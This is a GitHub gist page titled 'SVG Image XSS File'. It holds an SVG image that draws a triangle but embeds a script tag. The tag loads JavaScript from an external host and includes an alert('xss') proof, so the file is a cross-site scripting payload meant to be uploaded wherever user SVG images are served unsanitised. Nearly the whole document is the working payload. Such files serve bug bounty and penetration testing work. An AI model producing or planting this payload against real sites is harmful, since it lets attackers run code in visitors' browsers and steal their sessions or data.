Skip to content

Instantly share code, notes, and snippets.

@P0cas
Forked from rudSarkar/xss-image.svg
Last active September 22, 2023 03:29
Show Gist options
  • Save P0cas/2e7b51cca0d7041cd43cde1fcdd74577 to your computer and use it in GitHub Desktop.
Save P0cas/2e7b51cca0d7041cd43cde1fcdd74577 to your computer and use it in GitHub Desktop.
SVG Image XSS File
Display the source blob
Display the rendered blob
Raw
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript" src="https://pocas.kr">
alert('xss');
</script>
</svg>
@P0cas
Copy link
Author

P0cas commented Sep 22, 2023

a

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment